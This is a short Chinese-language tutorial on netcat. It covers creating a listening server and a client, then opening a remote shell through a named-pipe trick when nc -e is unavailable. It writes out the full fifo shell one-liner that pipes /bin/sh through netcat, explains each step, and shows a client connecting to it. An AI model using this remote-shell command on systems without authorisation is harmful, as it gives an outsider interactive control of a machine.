1. 创建服务端和客户端
1.1 创建一个服务器端
nc -l -p port
-l: Listen mode, for inbound connects. #即监听模式,监听入站的链接
-p: 后面接port, 即监听的端口号
1.2 创建一个客户端
nc [remote address] [remote port] # 连接远端服务器的地址,连接的端口号
1.3 演示
背景解释:
项目 | 机器 |
---|---|
客户端 | 本地可联网的主机 |
服务器端 | 远端的腾讯云的服务器,地址:49.234.196.192 : 10000 |
服务器端:
客户端:
2. 打开一个shell 或者反向shell
linux 不支持 nc -e 参数,故不能用通常的方法打开shell或者反向shell。
Server 端
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
- 从网络收到的输入写到fifo文件中
- cat 命令读取fifo文件并且其内容发送给sh命令
- sh命令进程受到输入并把它写回到netcat。
- netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
Client端
$nc -n 172.31.100.7 1567
你会得到一个shell提示符在客户端 。